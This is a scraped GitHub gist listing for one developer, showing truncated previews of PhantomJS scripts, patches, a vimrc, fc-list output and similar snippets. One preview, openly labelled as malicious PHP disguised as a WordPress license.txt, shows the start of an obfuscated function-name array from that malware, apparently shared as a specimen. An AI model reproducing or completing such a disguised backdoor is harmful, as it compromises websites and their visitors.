Skip to content

Instantly share code, notes, and snippets.

View ariya's full-sized avatar
💭
I may be slow to respond.

Ariya Hidayat ariya

💭
I may be slow to respond.
View GitHub Profile
@ariya
ariya / prevent-onload.js
Created September 17, 2011 16:43
PhantomJS 1.3 example: prevent window.onload
var page = new WebPage(),
address;
// Let's see what the web page's console might output.
page.onConsoleMessage = function (msg) {
console.log('from web page: ' + msg);
};
// Hijack assignment to window.onload to do nothing.
page.onInitialized = function () {
@ariya
ariya / qdom-cache-ariya.patch
Created November 12, 2011 19:01
Patch for QDom
Index: qdom.cpp
===================================================================
--- qdom.cpp (revision 599821)
+++ qdom.cpp (working copy)
@@ -40,6 +40,15 @@
#include <qdebug.h>
#include <stdio.h>
+/**
+ Additional feature by Ariya Hidayat (ariya@kde.org)
@ariya
ariya / image.js
Created January 30, 2013 19:26
PhantomJS script to print the source of the first image
var page = require('webpage').create();
page.content = '<html><body><img src="foo.png">';
console.log(page.evaluate(function () {
return document.images[0].src;
}));
phantom.exit();
@ariya
ariya / find-github-commits.sh
Created September 19, 2012 05:37
Find some Git commits and print out the subject and GitHub link
#!/bin/bash
if [ "$#" == "0" ]; then
echo "Usage: find-github-commits issue-number"
exit 1
fi
repo=$(git config --get remote.origin.url | cut -d ':' -f 2 | sed 's/....$//')
for commit in $(git rev-list --reverse origin/master)
@ariya
ariya / vimrc
Created July 28, 2012 01:54
vimrc
set number
set ruler
syntax on
color darkblue
set nowrap
set tabstop=4
set shiftwidth=4
set softtabstop=4
set expandtab
@ariya
ariya / gist:2950246
Created June 18, 2012 19:31
null stack in ChromeClient
diff --git a/src/qt/src/3rdparty/webkit/Source/WebKit/qt/WebCoreSupport/ChromeClientQt.cpp b/src/qt/src/3rdparty/webkit/Source/WebKit/qt/WebCoreSupport/ChromeClientQt.cpp
index c8e40e6..fe98941 100644
--- a/src/qt/src/3rdparty/webkit/Source/WebKit/qt/WebCoreSupport/ChromeClientQt.cpp
+++ b/src/qt/src/3rdparty/webkit/Source/WebKit/qt/WebCoreSupport/ChromeClientQt.cpp
@@ -305,7 +305,9 @@ void ChromeClientQt::addMessageToConsole(MessageSource src, MessageType type, Me
// the MessageType value isn't useful - it will be LogMessageType for both errors
// and log messages.
if (level == ErrorMessageLevel) {
- QString stack = callStack->buildInspectorArray()->toJSONString();
+ QString stack = "[]";
@ariya
ariya / license.txt
Created April 8, 2012 16:24
Malicious PHP masqueraded as WordPress license.txt
<?php
$GLOBALS['_1660021129_'] = Array(
'sprintf',
'ip2long',
'substr_count',
'sleep',
'strpos',
'preg_replace',
'stripos',
'gethostbyaddr',
// http://ie.microsoft.com/testdrive/Performance/BetaFishIE/Default.html
if (userAgent.indexOf('msie') > -1) {
index = userAgent.indexOf('msie');
this.browserCheck = "IE";
this.browserName = "Internet Explorer";
this.browserVersion = "" + parseFloat('' + userAgent.substring(index + 5));
this.browserTransform = "msTransform";
}
else if (userAgent.indexOf('chrome') > -1) {
@ariya
ariya / gist:2178551
Created March 24, 2012 05:22
Result of fc-list
Verdana:style=Regular,Normal,obyčejné,Standard,Κανονικά,Normaali,Normál,Normale,Standaard,Normalny,Обычный,Normálne,Navadno,Arrunta
Liberation Mono:style=Regular
Times New Roman:style=Regular,Normal,obyčejné,Standard,Κανονικά,Normaali,Normál,Normale,Standaard,Normalny,Обычный,Normálne,Navadno,thường,Arrunta
Webdings:style=Regular
Verdana:style=Bold Italic,Negreta cursiva,tučné kurzíva,fed kursiv,Fett Kursiv,Έντονα Πλάγια,Negrita Cursiva,Lihavoitu Kursivoi,Gras Italique,Félkövér dőlt,Grassetto Corsivo,Vet Cursief,Halvfet Kursiv,Pogrubiona kursywa,Negrito Itálico,Полужирный Курсив,Tučná kurzíva,Fet Kursiv,Kalın İtalik,Krepko poševno,Lodi etzana
Liberation Sans:style=Regular
Georgia:style=Italic,Cursiva,kurzíva,kursiv,Πλάγια,Kursivoitu,Italique,Dőlt,Corsivo,Cursief,Kursywa,Itálico,Курсив,İtalik,Poševno,Etzana
Comic Sans MS:style=Regular,Normal,obyčejné,Standard,Κανονικά,Normaali,Normál,Normale,Standaard,Normalny,Обычный,Normálne,Navadno,Arrunta
Liberation Serif:style=Bold Italic
Georgia:style=Bold Italic,Negreta
{
"type": "Program",
"body": [
{
"type": "BlockStatement",
"body": [
{
"type": "ExpressionStatement",
"expression": {
"type": "BinaryExpression",